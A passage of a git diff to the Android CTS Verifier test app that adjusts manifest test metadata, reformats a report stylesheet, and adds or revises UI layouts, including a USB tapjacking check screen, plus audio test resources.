</intent-filter>
</activity>
+ <activity android:name=".audio.RingerModeActivity"
+ android:label="@string/ringer_mode_tests">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.software.leanback" />
+ </activity>
+
<activity android:name=".audio.HifiUltrasoundTestActivity"
android:label="@string/hifi_ultrasound_test"
android:screenOrientation="locked">
@@ -2828,6 +2865,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
<meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
</activity>
<activity android:name=".audio.USBAudioPeripheralPlayActivity"
@@ -2838,6 +2877,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
<meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
</activity>
<activity android:name=".audio.USBAudioPeripheralRecordActivity"
@@ -2848,6 +2889,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
<meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
</activity>
<activity android:name=".audio.USBAudioPeripheralButtonsActivity"
@@ -2858,6 +2901,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
<meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
</activity>
<activity android:name=".audio.AudioLoopbackActivity"
@@ -2867,7 +2912,8 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
- <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.watch:android.hardware.type.television" />
</activity>
@@ -2879,7 +2925,8 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
- <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
</activity>
<activity android:name=".audio.AudioFrequencySpeakerActivity"
@@ -2889,7 +2936,8 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
- <meta-data android:name="test_required_features" android:value="android.hardware.audio.output:android.hardware.usb.host" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
</activity>
<activity android:name=".audio.AudioFrequencyMicActivity"
@@ -2899,7 +2947,9 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
- <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output:android.hardware.usb.host" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
</activity>
<activity android:name=".audio.AudioFrequencyUnprocessedActivity"
@@ -3009,6 +3059,9 @@
<meta-data
android:name="test_required_features"
android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<receiver android:name=".voicemail.VoicemailBroadcastReceiver">
@@ -3031,6 +3084,9 @@
<meta-data
android:name="test_required_features"
android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<activity
@@ -3047,6 +3103,9 @@
<meta-data
android:name="test_required_features"
android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<service android:name=".dialer.DialerCallTestService"
@@ -3071,6 +3130,9 @@
<meta-data
android:name="test_required_features"
android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<activity
@@ -3087,6 +3149,9 @@
<meta-data
android:name="test_required_features"
android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<activity
@@ -3103,6 +3168,9 @@
<meta-data
android:name="test_required_features"
android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<activity
@@ -3118,7 +3186,10 @@
android:value="@string/test_category_telephony"/>
<meta-data
android:name="test_required_features"
- android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+ android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<service
@@ -3162,7 +3233,10 @@
android:value="@string/test_category_telecom"/>
<meta-data
android:name="test_required_features"
- android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+ android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<activity
@@ -3178,7 +3252,10 @@
android:value="@string/test_category_telecom"/>
<meta-data
android:name="test_required_features"
- android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+ android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<activity
@@ -3195,6 +3272,9 @@
<meta-data
android:name="test_required_features"
android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<activity
@@ -3210,7 +3290,10 @@
android:value="@string/test_category_telecom"/>
<meta-data
android:name="test_required_features"
- android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+ android:value="android.hardware.telephony"/>
+ <meta-data
+ android:name="test_required_configs"
+ android:value="config_voice_capable"/>
</activity>
<service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
diff --git a/apps/CtsVerifier/assets/report/compatibility_result.css b/apps/CtsVerifier/assets/report/compatibility_result.css
index 699f45a..22eb4a9 100644
--- a/apps/CtsVerifier/assets/report/compatibility_result.css
+++ b/apps/CtsVerifier/assets/report/compatibility_result.css
@@ -14,151 +14,140 @@
*/
body {
- font-family:arial,sans-serif;
- color:#000;
- font-size:13px;
- color:#333;
- padding:10;
- margin:10;
+ color: #333;
+ font-family: arial,sans-serif;
+ font-size: 13px;
+ margin: 10;
+ padding: 10;
}
/* Report logo and device name */
table.title {
- padding:5px;
- border-width: 0px;
- margin-left:auto;
- margin-right:auto;
- vertical-align:middle;
+ border-width: 0;
+ margin-left: auto;
+ margin-right: auto;
+ padding: 5px;
+ vertical-align: middle;
}
table.summary {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- border: 0px solid #A5C639;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border: 0 solid #a5c639;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.summary th {
- background-color: #A5C639;
- font-size: 1.2em;
- padding: 0.5em;
+ background-color: #a5c639;
+ font-size: 1.2em;
+ padding: .5em;
}
table.summary td {
- border-width: 0px 0px 0px 0px;
- border-color: gray;
- border-style: inset;
- font-size: 1em;
- padding: 0.5em;
- vertical-align: top;
+ border: 0 inset #808080;
+ font-size: 1em;
+ padding: .5em;
+ vertical-align: top;
}
table.testsummary {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.testsummary th {
- background-color: #A5C639;
- border: 1px outset gray;
- padding: 0.5em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ padding: .5em;
}
table.testsummary td {
- border: 1px outset #A5C639;
- padding: 0.5em;
- text-align: center;
+ border: 1px outset #a5c639;
+ padding: .5em;
+ text-align: center;
}
table.testdetails {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- border-width:1;
- border-color: #A5C639;
- margin-left:auto;
- margin-right:auto;
- margin-bottom: 2em;
- vertical-align: top;
- width: 95%;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ border-color: #a5c639;
+ border-width: 1;
+ margin-bottom: 2em;
+ margin-left: auto;
+ margin-right: auto;
+ vertical-align: top;
+ width: 95%;
}
table.testdetails th {
- background-color: #A5C639;
- border-width: 1px;
- border-color: gray;
- border-style: outset;
- height: 2em;
- padding: 0.2em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ height: 2em;
+ padding: .2em;
}
table.testdetails td {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding: 0.2em;
+ border: 1px outset #a5c639;
+ padding: .2em;
+ text-align: left;
+ vertical-align: top;
}
table.testdetails td.module {
- background-color: white;
- border: 0px;
- font-weight: bold;
+ background-color: #fff;
+ border: 0;
+ font-weight: bold;
}
/* Test cell details */
td.failed {
- background-color: #FA5858;
- font-weight:bold;
- vertical-align: top;
- text-align: center;
+ background-color: #fa5858;
+ font-weight: bold;
+ text-align: center;
+ vertical-align: top;
}
td.failuredetails {
- text-align: left;
+ text-align: left;
}
td.pass {
- text-align: center;
- margin-left:auto;
- margin-right:auto;
+ margin-left: auto;
+ margin-right: auto;
+ text-align: center;
}
td.not_executed {
- background-color: #A5C639;
- vertical-align: top;
- text-align: center;
+ background-color: #a5c639;
+ text-align: center;
+ vertical-align: top;
}
td.testname {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding:1;
- overflow:hidden;
+ border: 1px outset #a5c639;
+ overflow: hidden;
+ padding: 1;
+ text-align: left;
+ vertical-align: top;
}
td.testcase {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding:1;
- overflow:hidden;
- font-weight:bold;
+ border: 1px outset #a5c639;
+ font-weight: bold;
+ overflow: hidden;
+ padding: 1;
+ text-align: left;
+ vertical-align: top;
}
div.details {
- white-space: pre-wrap; /* css-3 */
- white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
- white-space: -pre-wrap; /* Opera 4-6 */
- white-space: -o-pre-wrap; /* Opera 7 */
- word-wrap: break-word; /* Internet Explorer 5.5+ */
- overflow:auto;
+ overflow: auto;
+ white-space: pre-wrap; /* css-3 */
+ white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
+ white-space: -pre-wrap; /* Opera 4-6 */
+ white-space: -o-pre-wrap; /* Opera 7 */
+ word-wrap: break-word; /* Internet Explorer 5.5+ */
}
diff --git a/apps/CtsVerifier/jni/verifier/Android.mk b/apps/CtsVerifier/jni/verifier/Android.mk
index 1e43211..42e2d26 100644
--- a/apps/CtsVerifier/jni/verifier/Android.mk
+++ b/apps/CtsVerifier/jni/verifier/Android.mk
@@ -32,5 +32,7 @@
LOCAL_SHARED_LIBRARIES := liblog \
libnativehelper_compat_libc++
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/apps/CtsVerifier/res/layout-small-dpad/positive_device_owner.xml b/apps/CtsVerifier/res/layout-small-dpad/positive_device_owner.xml
new file mode 100644
index 0000000..e8b926b
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-small-dpad/positive_device_owner.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ style="@style/RootLayoutPadding"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <ScrollView
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:fillViewport="true">
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <TextView
+ android:id="@+id/positive_device_owner_instructions"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/device_owner_positive_tests_instructions"
+ android:textSize="18dip" />
+
+ <Button
+ android:id="@+id/check_preconditions"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/device_owner_precondition_button_label" />
+
+ <Button
+ android:id="@+id/set_device_owner_button"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/set_device_owner_button_label" />
+
+ <ListView
+ android:id="@+id/android:list"
+ android:layout_width="match_parent"
+ android:layout_height="950dp"
+ android:layout_weight="1" />
+
+ <include layout="@layout/pass_fail_buttons" />
+ </LinearLayout>
+ </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml b/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml
new file mode 100644
index 0000000..518be88
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:layout_marginTop="@dimen/widget_margin_top"
+ android:layout_marginBottom="@dimen/widget_margin_bottom"
+ android:layout_marginLeft="@dimen/widget_margin_left"
+ android:layout_marginRight="@dimen/widget_margin_right"
+ android:padding="1dp"
+ android:background="#fff">
+
+ <LinearLayout
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:paddingLeft="4dp"
+ android:paddingTop="4dp"
+ android:paddingBottom="4dp"
+ android:paddingRight="4dp"
+ android:layout_gravity="center"
+ android:background="#fff">
+
+ <TextView
+ android:id="@+id/title"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:gravity="top|left"
+ android:layout_marginBottom="8dp"
+ android:fontFamily="sans-serif"
+ android:textSize="16sp"
+ android:text="@string/widget_name"
+ android:freezesText="true"/>
+
+ <TextView
+ android:id="@+id/instruction"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_marginBottom="12dp"
+ android:fontFamily="sans-serif-light"
+ android:textSize="14sp"
+ android:freezesText="true"/>
+
+ <TextView
+ android:id="@+id/data"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_marginBottom="12dp"
+ android:layout_gravity="center_horizontal"
+ android:fontFamily="sans-serif-light"
+ android:textSize="14sp"/>
+
+ <ListView
+ android:id="@+id/list"
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1"
+ android:layout_marginBottom="12dp"
+ android:padding="1dp"
+ android:background="#fff"
+ android:visibility="gone"/>
+
+ <LinearLayout
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_gravity="bottom|center_horizontal"
+ android:orientation="horizontal">
+ <Button
+ android:id="@+id/fail"
+ android:layout_marginRight="8dp"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:minWidth="100dp"
+ android:text="@string/widget_fail" />
+ <Button
+ android:id="@+id/pass"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:minWidth="100dp"
+ android:text="@string/widget_pass" />
+ </LinearLayout>
+
+ </LinearLayout>
+</FrameLayout>
diff --git a/apps/CtsVerifier/res/layout/ci_main.xml b/apps/CtsVerifier/res/layout/ci_main.xml
index a464427..21235b0 100644
--- a/apps/CtsVerifier/res/layout/ci_main.xml
+++ b/apps/CtsVerifier/res/layout/ci_main.xml
@@ -14,26 +14,20 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- android:gravity="bottom"
- android:orientation="vertical" >
-
+<ScrollView
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fillViewport="true"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
<LinearLayout
- android:layout_width="fill_parent"
- android:layout_height="0dp"
- android:layout_weight="1"
- android:gravity="bottom"
- android:orientation="horizontal" >
-
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
<LinearLayout
- android:layout_width="0dp"
- android:layout_height="fill_parent"
- android:layout_weight="2"
- android:gravity="bottom"
- android:orientation="vertical" >
-
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1"
+ android:orientation="vertical">
<TextView
android:id="@+id/camera_text"
android:layout_width="wrap_content"
@@ -76,12 +70,8 @@
android:enabled="false"
android:text="@string/ci_start_test_button_caption" />
+ </LinearLayout>
</LinearLayout>
-
- </LinearLayout>
-
+ <include layout="@layout/pass_fail_buttons" />
</LinearLayout>
-
- <include layout="@layout/pass_fail_buttons" />
-
-</LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/intent_driven_test.xml b/apps/CtsVerifier/res/layout/intent_driven_test.xml
index 794a6d6..4386392 100644
--- a/apps/CtsVerifier/res/layout/intent_driven_test.xml
+++ b/apps/CtsVerifier/res/layout/intent_driven_test.xml
@@ -9,7 +9,7 @@
<ScrollView
android:layout_width="match_parent"
android:layout_height="0dp"
- android:layout_weight="1">
+ android:layout_weight="3">
<TextView android:id="@+id/info"
android:layout_width="match_parent"
android:layout_height="wrap_content"
@@ -18,15 +18,16 @@
android:text="@string/dc_start_alarm_test_info"/>
</ScrollView>
- <LinearLayout android:id="@+id/buttons"
- android:orientation="horizontal"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"/>
-
- <LinearLayout
+ <ScrollView
android:layout_width="match_parent"
- android:layout_height="wrap_content">
+ android:layout_height="0dp"
+ android:layout_weight="2">
- <include layout="@layout/pass_fail_buttons"/>
- </LinearLayout>
+ <LinearLayout
+ android:id="@+id/buttons"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:orientation="vertical"/>
+ </ScrollView>
+ <include layout="@layout/pass_fail_buttons"/>
</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/provisioning_byod.xml b/apps/CtsVerifier/res/layout/provisioning_byod.xml
index 227d8d8..444bead 100644
--- a/apps/CtsVerifier/res/layout/provisioning_byod.xml
+++ b/apps/CtsVerifier/res/layout/provisioning_byod.xml
@@ -15,7 +15,7 @@
android:orientation="vertical">
<ScrollView
android:layout_width="match_parent"
- android:layout_height="wrap_content"
+ android:layout_height="0dp"
android:layout_weight="2">
<TextView
android:id="@+id/test_instructions"
@@ -26,12 +26,12 @@
</ScrollView>
<Button
android:id="@+id/prepare_test_button"
- android:layout_width="204dip"
+ android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<ListView
android:id="@+id/android:list"
android:layout_width="match_parent"
- android:layout_height="wrap_content"
+ android:layout_height="0dp"
android:layout_weight="3"/>
<include layout="@layout/pass_fail_buttons"/>
</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/tapjacking.xml b/apps/CtsVerifier/res/layout/tapjacking.xml
new file mode 100644
index 0000000..6e5ca73
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/tapjacking.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+ style="@style/RootLayoutPadding"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <RelativeLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" >
+ <TextView
+ android:id="@+id/usb_tapjacking_instructions"
+ style="@style/InstructionsSmallFont"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_alignParentTop="true"
+ android:text="@string/usb_tapjacking_test_instructions" />
+
+ <Button android:id="@+id/tapjacking_btn"
+ android:text="@string/usb_tapjacking_button_text"
+ android:layout_below="@id/usb_tapjacking_instructions"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_marginLeft="20dip"
+ android:layout_marginRight="20dip"/>
+ </RelativeLayout>
+
+ <include layout="@layout/pass_fail_buttons" />
+ </LinearLayout>
+</ScrollView>
+
diff --git a/apps/CtsVerifier/res/layout/usb_tapjacking_overlay.xml b/apps/CtsVerifier/res/layout/usb_tapjacking_overlay.xml
new file mode 100644
index 0000000..6a5ba58
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/usb_tapjacking_overlay.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <TextView
+ android:id="@+id/textView"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_gravity="center"
+ android:maxWidth="350dp"
+ android:paddingLeft="20dp"
+ android:paddingRight="20dp"
+ android:paddingBottom="6dp"
+ android:paddingTop="8dp"
+ android:background="#ffffff"
+ android:text="@string/usb_tapjacking_overlay_message"
+ android:textColor="#000000"
+ android:textSize="22sp" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
index 4d7803b..cf1cc7c 100644
--- a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
@@ -68,23 +68,25 @@
android:layout_height="wrap_content"
android:text="@string/open_call_settings"/>
- <LinearLayout
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_marginTop="@dimen/js_padding"
- android:layout_marginBottom="@dimen/js_padding">
- <Button
- android:id="@+id/settings_hidden"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/voicemail_hidden"/>
- <Button
- android:id="@+id/settings_not_hidden"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/voicemail_not_hidden"
- />
- </LinearLayout>
+ <LinearLayout
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_marginTop="@dimen/js_padding"
+ android:layout_marginBottom="@dimen/js_padding"
+ android:orientation="vertical">
+
+ <Button
+ android:id="@+id/settings_hidden"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/voicemail_hidden"/>
+
+ <Button
+ android:id="@+id/settings_not_hidden"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/voicemail_not_hidden"/>
+ </LinearLayout>
<LinearLayout
android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
index 9ccd909..47cd2f6 100644
--- a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
@@ -45,23 +45,25 @@
android:layout_height="wrap_content"
android:text="@string/open_voicemail_settings"/>
- <LinearLayout
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_marginTop="@dimen/js_padding"
- android:layout_marginBottom="@dimen/js_padding">
- <Button
- android:id="@+id/settings_hidden"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/ringtone_hidden"/>
- <Button
- android:id="@+id/settings_not_hidden"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/ringtone_not_hidden"
- />
- </LinearLayout>
+ <LinearLayout
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_marginTop="@dimen/js_padding"
+ android:layout_marginBottom="@dimen/js_padding"
+ android:orientation="vertical">
+
+ <Button
+ android:id="@+id/settings_hidden"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/ringtone_hidden"/>
+
+ <Button
+ android:id="@+id/settings_not_hidden"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/ringtone_not_hidden"/>
+ </LinearLayout>
<LinearLayout
android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/raw/john_cage.ogg b/apps/CtsVerifier/res/raw/john_cage.ogg
new file mode 100644
index 0000000..62d2335
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/john_cage.ogg
Binary files differ
diff --git a/apps/CtsVerifier/res/raw/testmp3.mp3 b/apps/CtsVerifier/res/raw/testmp3.mp3
new file mode 100755
index 0000000..657faf7
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/testmp3.mp3
Binary files differ
diff --git a/apps/CtsVerifier/res/values-vrheadset/strings.xml b/apps/CtsVerifier/res/values-vrheadset/strings.xml
index 8a1aa05..8196cb9 100644
--- a/apps/CtsVerifier/res/values-vrheadset/strings.xml
+++ b/apps/CtsVerifier/res/values-vrheadset/strings.xml
@@ -20,179 +20,7 @@
<item>com.android.cts.verifier.car.CarDockTestActivity</item>
<item>com.android.cts.verifier.deskclock.DeskClockTestsActivity</item>
<item>com.android.cts.verifier.screenpinning.ScreenPinningTestActivity</item>
- <item>com.android.cts.verifier.sensors.SignificantMotionTestActivity</item>
<item>com.android.cts.verifier.notifications.ShortcutThrottlingResetActivity</item>
<item>com.android.cts.verifier.vr.VrListenerVerifierActivity</item>
</string-array>
-
- <!-- Override default strings for features that non-handheld devices may not support. -->
-
- <!-- This specific test is disabling tethering, non-handheld devices may not support tethering and this may effectively be a no-op. -->
- <string name="disallow_config_tethering_action">
- Configuring tethering and portable hotspots.\n
- NOTE: If the device does not support tethering please pass the test using the green check mark.\n
- </string>
-
- <!-- This specific test is disallowing usb file transfers. non-handheld devices may not support usb file transfer features and this may effectively be a no-op. -->
- <string name="device_owner_disallow_usb_file_transfer_test_info">
- Please press below button to set the \"disallow USB file transfer\" restriction.\n
- If a USB notification appears, open the notification and check that the
- \"Transfer files (MTP)\" and \"Transfer photos (PTP)\" cannot be selected and trigger a
- support message when trying to select them.\n
- NOTE: If the device does not support MTP or PTP please pass the test using the green check mark.\n
- Check if you can mount the device as a USB drive on your desktop computer. The test is
- successful if you cannot mount the device, and files from your phone cannot be
- downloaded through USB.\n
- Please mark the test accordingly.
- </string>
-
- <!-- This specific test is disabling the keyguard, non-handheld devices may not support keyguard and this may effectively be a no-op. -->
- <string name="device_owner_disable_keyguard_test_info">
- NOTE: If the device does not support keyguard please pass the test using the green check mark.\n
- Before running this test, please make sure you have not set any device lockscreen password.\n
- Please press the below button to disable the keyguard. Press the power button on your device to
- switch off the screen. Then press the power button to switch the screen back on and verify that
- no keyguard was shown.\n
- Next, press the button to reenable the keyguard and repeat the above steps, this time verifying that
- a keyguard was shown.\n
- Please mark the test accordingly.
- </string>
-
- <!-- This specific test is disabling the status bar, non-handheld devices may not support a status bar and this may effectively be a no-op. -->
- <string name="device_owner_disable_statusbar_test_info">
- NOTE: If the device does not support a status bar, please pass the test using the green check mark. \n
- Please press the below button to disable the status bar and verify that quick settings, notifications
- and the assist gesture are no longer available.\n
- Next, press the button to reenable the status bar and verify that quick settings, notification
- and the assist gesture are available again.\n
- Please mark the test accordingly.
